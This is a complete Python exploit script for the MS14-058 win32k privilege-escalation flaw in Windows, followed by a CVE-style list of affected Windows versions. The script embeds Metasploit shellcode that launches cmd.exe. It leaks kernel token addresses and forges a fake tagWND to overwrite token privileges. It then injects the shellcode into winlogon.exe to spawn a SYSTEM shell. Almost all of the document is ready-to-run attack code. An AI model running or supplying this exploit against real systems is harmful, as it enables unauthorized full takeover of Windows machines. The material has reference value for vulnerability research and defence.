GWLP_WNDPROC = -0x4
NULL = 0x0
SystemExtendedHandleInformation = 64
ObjectDataInformation = 2
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
STATUS_SUCCESS = 0
TOKEN_ALL_ACCESS = 0xf00ff
DISABLE_MAX_PRIVILEGE = 0x1
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
TH32CS_SNAPPROCESS = 0x02
WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM)
WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM)
WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)
bWndProcFlag = False
bHookCallbackFlag = False
EXPLOITED = False
Hmenu01 = Hmenu02 = None
# /*
# * windows/x64/exec - 275 bytes
# * http://www.metasploit.com
# * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
# * CMD=cmd.exe
# */
SHELLCODE = (
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x2e\x65\x78\x65\x00")
class LSA_UNICODE_STRING(Structure):
"""Represent the LSA_UNICODE_STRING on ntdll."""
_fields_ = [
("Length", USHORT),
("MaximumLength", USHORT),
("Buffer", LPWSTR),
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
_fields_ = [
("Object", PVOID),
("UniqueProcessId", PVOID),
("HandleValue", PVOID),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
_fields_ = [
("NumberOfHandles", PVOID),
("Reserved", PVOID),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
"""Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
_fields_ = [
("Name", LSA_UNICODE_STRING),
("Reserved", ULONG * 22),
]
class MENUITEMINFO(Structure):
"""Contains information about a menu item."""
_fields_ = [
("cbSize" , UINT),
("fMask" , UINT),
("fType" , UINT),
("fState" , UINT),
("wID" , UINT),
("hSubMenu" , HMENU),
("hbmpChecked" , HBITMAP),
("hbmpUnchecked", HBITMAP),
("dwItemData" , ULONG_PTR),
("dwTypeData" , LPWSTR),
("cch" , UINT),
("hbmpItem" , HBITMAP),
]
class WNDCLASS(Structure):
"""Contains the window class attributes that are registered by the
RegisterClass function."""
_fields_ = [
("style" , UINT),
("lpfnWndProc" , WNDPROC),
("cbClsExtra" , INT),
("cbWndExtra" , INT),
("hInstance" , HINSTANCE),
("hIcon" , HCURSOR),
("hCursor" , HBITMAP),
("hbrBackground", HBRUSH),
("lpszMenuName" , LPWSTR),
("lpszClassName", LPWSTR),
]
class PROCESSENTRY32(Structure):
"""Describes an entry from a list of the processes residing in the system
address space when a snapshot was taken."""
_fields_ = [ ( 'dwSize' , DWORD ) ,
( 'cntUsage' , DWORD) ,
( 'th32ProcessID' , DWORD) ,
( 'th32DefaultHeapID' , POINTER(ULONG)) ,
( 'th32ModuleID' , DWORD) ,
( 'cntThreads' , DWORD) ,
( 'th32ParentProcessID' , DWORD) ,
( 'pcPriClassBase' , LONG) ,
( 'dwFlags' , DWORD) ,
( 'szExeFile' , CHAR * MAX_PATH )
]
user32 = windll.user32
kernel32 = windll.kernel32
ntdll = windll.ntdll
advapi32 = windll.advapi32
user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM]
user32.PostMessageW.restype = BOOL
user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM]
user32.DefWindowProcW.restype = LRESULT
user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1]
user32.UnhookWindowsHook.restype = BOOL
user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2]
user32.SetWindowLongPtrW.restype = LPVOID
user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM]
user32.CallNextHookEx.restype = LRESULT
user32.RegisterClassW.argtypes = [LPVOID]
user32.RegisterClassW.restype = BOOL
user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD,
INT, INT, INT, INT, HWND, HMENU,
HINSTANCE, LPVOID]
user32.CreateWindowExW.restype = HWND
user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID]
user32.InsertMenuItemW.restype = BOOL
user32.DestroyMenu.argtypes = [HMENU]
user32.DestroyMenu.restype = BOOL
user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD]
user32.SetWindowsHookExW.restype = BOOL
user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND,
DWORD]
user32.TrackPopupMenu.restype = BOOL
advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype = BOOL
advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD,
DWORD, DWORD, DWORD, DWORD,
POINTER(HANDLE)]
advapi32.CreateRestrictedToken.restype = BOOL
advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD,
DWORD, DWORD]
advapi32.AdjustTokenPrivileges.restype = BOOL
advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE]
advapi32.ImpersonateLoggedOnUser.restype = BOOL
kernel32.GetCurrentProcess.restype = HANDLE
kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD,
POINTER(LPVOID)]
kernel32.WriteProcessMemory.restype = BOOL
kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD]
kernel32.OpenProcess.restype = HANDLE
kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD,
DWORD]
kernel32.VirtualAllocEx.restype = LPVOID
kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD,
LPVOID, DWORD, POINTER(HANDLE)]
kernel32.CreateRemoteThread.restype = BOOL
kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD]
kernel32.CreateToolhelp32Snapshot.restype = HANDLE
kernel32.CloseHandle.argtypes = [HANDLE]
kernel32.CloseHandle.restype = BOOL
kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32First.restype = BOOL
kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32Next.restype = BOOL
kernel32.GetCurrentThreadId.restype = DWORD
ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID,
ULONG, DWORD]
ntdll.NtAllocateVirtualMemory.restype = NTSTATUS
ntdll.NtQueryObject.argtypes = [HANDLE, DWORD,
POINTER(PUBLIC_OBJECT_TYPE_INFORMATION),
DWORD, DWORD]
ntdll.NtQueryObject.restype = NTSTATUS
ntdll.NtQuerySystemInformation.argtypes = [DWORD,
POINTER(SYSTEM_HANDLE_INFORMATION_EX),
DWORD, POINTER(DWORD)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS
def log(msg, e=None):
if e == "e":
msg = "[!] " + msg
if e == "d":
msg = "[*] " + msg
else:
msg = "[+] " + msg
print msg
def getLastError():
"""Format GetLastError"""
buf = create_string_buffer(2048)
if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
kernel32.GetLastError(), 0,
buf, sizeof(buf), NULL):
log(buf.value, "e")
else:
log("Unknown Error", "e")
class x_file_handles (Exception):
pass
def get_type_info(handle):
"""Get the handle type information."""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = ntdll.NtQueryObject(handle, ObjectDataInformation,
byref(public_object_type_information), size, 0x0)
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
return "INVALID HANDLE: %s" % hex(handle)
else:
raise x_file_handles("NtQueryObject", hex(result))
def get_handles():
"""Return all the open handles in the system"""
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof (system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))
pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object
def WndProc(hwnd, message, wParam, lParam):
"""Window procedure"""
global bWndProcFlag
if message == 289 and not bWndProcFlag:
bWndProcFlag = True
user32.PostMessageW(hwnd, 256, 40, 0)
user32.PostMessageW(hwnd, 256, 39, 0)
user32.PostMessageW(hwnd, 513, 0, 0)
return user32.DefWindowProcW(hwnd, message, wParam, lParam)
def hook_callback_one(code, wParam, lParam):
"""Sets a new address for the window procedure"""
global bHookCallbackFlag
if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\
not bHookCallbackFlag:
bHookCallbackFlag = True
if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01):
# Sets a new address for the window procedure
log("Callback triggered!")
log("Setting the new address for the window procedure...")
lpPrevWndFunc = user32.SetWindowLongPtrW\
((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value,
GWLP_WNDPROC, CALLBACK02)
return user32.CallNextHookEx(0, code, wParam, lParam)
def hook_callback_two(hWnd, Msg, wParam, lParam):
"""Once called will return the fake tagWND address"""
global EXPLOITED
user32.EndMenu()
EXPLOITED = True
log("Returning the fake tagWND and overwriting token privileges...")
return 0x00000000FFFFFFFB
def buildMenuAndTrigger():
"""Create menus and invoke TrackPopupMenu"""
global Hmenu01, Hmenu02
log("Creating windows and menus...")
wndClass = WNDCLASS()
wndClass.lpfnWndProc = WNDPROC(WndProc)
wndClass.lpszClassName = u"pwned"
wndClass.cbClsExtra = wndClass.cbWndExtra = 0
# Registering Class
if not user32.RegisterClassW(addressof(wndClass)):
log("RegisterClassW failed", "e")
sys.exit()
# Creating the Window
hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0,
0, NULL, NULL, NULL, NULL)
if not hWnd:
log("CreateWindowExW Failed", "e")
sys.exit()
# Creating popup menu
user32.CreatePopupMenu.restype = HMENU
Hmenu01 = user32.CreatePopupMenu()
if not Hmenu01:
log("CreatePopupMenu failed 0x1", "e")
sys.exit()
Hmenu01Info = MENUITEMINFO()
Hmenu01Info.cbSize = sizeof(MENUITEMINFO)
Hmenu01Info.fMask = MIIM_STRING
# Insert first menu
if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)):
log("Error in InsertMenuItema 0x1", "e")
user32.DestroyMenu(Hmenu01)
sys.exit()
# Creating second menu
Hmenu02 = user32.CreatePopupMenu()
if not Hmenu02:
log("CreatePopupMenu failed 0x2", "e")
sys.exit()
Hmenu02Info = MENUITEMINFO()
Hmenu02Info.cbSize = sizeof(MENUITEMINFO)
Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU)
Hmenu02Info.dwTypeData = ""
Hmenu02Info.cch = 1
Hmenu02Info.hSubMenu = Hmenu01
# Insert second menu
if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)):
log("Error in InsertMenuItema 0x2", "e")
user32.DestroyMenu(Hmenu01)
user32.DestroyMenu(Hmenu01)
sys.exit()
# Set window callback
tid = kernel32.GetCurrentThreadId()
if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid):
log("Failed SetWindowsHookExA 0x1", "e")
sys.exit()
# Crash it!
log("Invoking TrackPopupMenu...")
user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL)
def alloctagWND():
"""Allocate a fake tagWND in userspace at address 0x00000000fffffff0"""
hProcess = HANDLE(kernel32.GetCurrentProcess())
hToken = HANDLE()
hRestrictedToken = HANDLE()
if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)):
log("Could not open current process token", "e")
getLastError()
sys.exit()
if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0,
0, 0, 0, 0, byref(hRestrictedToken)):
log("Could not create the restricted token", "e")
getLastError()
sys.exit()
if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0,
NULL, NULL):
log("Could not adjust privileges to the restricted token", "e")
getLastError()
sys.exit()
# Leak Token addresses in kernel space
log("Leaking token addresses from kernel space...")
for pid, handle, obj in get_handles():
if pid==os.getpid() and get_type_info(handle) == "Token":
if hToken.value == handle:
log("Current process token address: %x" % obj)
if hRestrictedToken.value == handle:
log("Restricted token address: %x" % obj)
RestrictedToken = obj
CurrentProcessWin32Process = "\x00"*8
# nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES
# +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8
TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8)
tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\
"\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\
"\x00"*8 +\
"\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\
TokenAddress + "\x47"*0x28
## Allocate space for the input buffer
lpBaseAddress = LPVOID(0x00000000fffffff0)
Zerobits = ULONG(0)
RegionSize = LPVOID(0x1000)
written = LPVOID(0)
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff,
byref(lpBaseAddress),
0x0,
byref(RegionSize),
VIRTUAL_MEM,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
log("Failed to allocate tagWND object", "e")
getLastError()
sys.exit()
# Copy input buffer to the fake tagWND
nSize = 0x200
written = LPVOID(0)
lpBaseAddress = QWORD(0x00000000fffffff0)
dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff,
lpBaseAddress,
tagWND,
nSize,
byref(written))
if dwStatus == 0:
log("Failed to copy the input buffer to the tagWND object", "e")
getLastError()
sys.exit()
log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\
(written.value, lpBaseAddress.value))
return hRestrictedToken
def injectShell(hPrivilegedToken):
"""Impersonate privileged token and inject shellcode into winlogon.exe"""
while not EXPLOITED:
time.sleep(0.1)
log("-"*70)
log("Impersonating the privileged token...")
if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken):
log("Could not impersonate the privileged token", "e")
getLastError()
sys.exit()
# Get winlogon.exe pid
pid = getpid("winlogon.exe")
# Get a handle to the winlogon process we are injecting into
hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not hProcess:
log("Couldn't acquire a handle to PID: %s" % pid, "e")
sys.exit()
log("Obtained handle 0x%x for the winlogon.exe process" % hProcess)
# Creating shellcode buffer to inject into the host process
sh = create_string_buffer(SHELLCODE, len(SHELLCODE))
code_size = len(SHELLCODE)
# Allocate some space for the shellcode (in the program memory)
sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM,
PAGE_EXECUTE_READWRITE)
if not sh_address:
log("Could not allocate shellcode in the remote process")
getLastError()
sys.exit()
log("Allocated memory at address 0x%x" % sh_address)
# Inject shellcode in to winlogon.exe process space
written = LPVOID(0)
shellcode = QWORD(sh_address)
dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size,
byref(written))
if not dwStatus:
log("Could not write shellcode into winlogon.exe", "e")
getLastError()
sys.exit()
log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address))
# Now we create the remote thread and point its entry routine to be head of
# our shellcode
thread_id = HANDLE(0)
if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0,
byref(thread_id)):
log("Failed to inject shellcode into winlogon.exe")
sys.exit(0)
log("Remote thread 0x%08x created" % thread_id.value)
log("Spawning SYSTEM shell...")
# Kill python process to kill the window and avoid BSODs
os.kill(os.getpid(), signal.SIGABRT)
def getpid(procname):
""" Get Process Pid by procname """
pid = None
try:
hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = sizeof(PROCESSENTRY32)
ret = kernel32.Process32First(hProcessSnap , byref(pe32))
while ret:
if pe32.szExeFile == LPSTR(procname).value:
pid = pe32.th32ProcessID
ret = kernel32.Process32Next(hProcessSnap, byref(pe32))
kernel32.CloseHandle ( hProcessSnap )
except Exception, e:
log(str(e), "e")
if not pid:
log("Could not find %s PID" % procname)
sys.exit()
return pid
CALLBACK01 = WinFunc1(hook_callback_one)
CALLBACK02 = WinFunc2(hook_callback_two)
if __name__ == '__main__':
log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com",
"d")
# Prepare the battlefield
hPrivilegedToken = alloctagWND()
# Start the injection thread
t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,))
t1.daemon = False
t1.start()
# Trigger the vuln
buildMenuAndTrigger()
Products Mentioned
Configuraton 0
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_rt >> Version -
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_vista >> Version -
References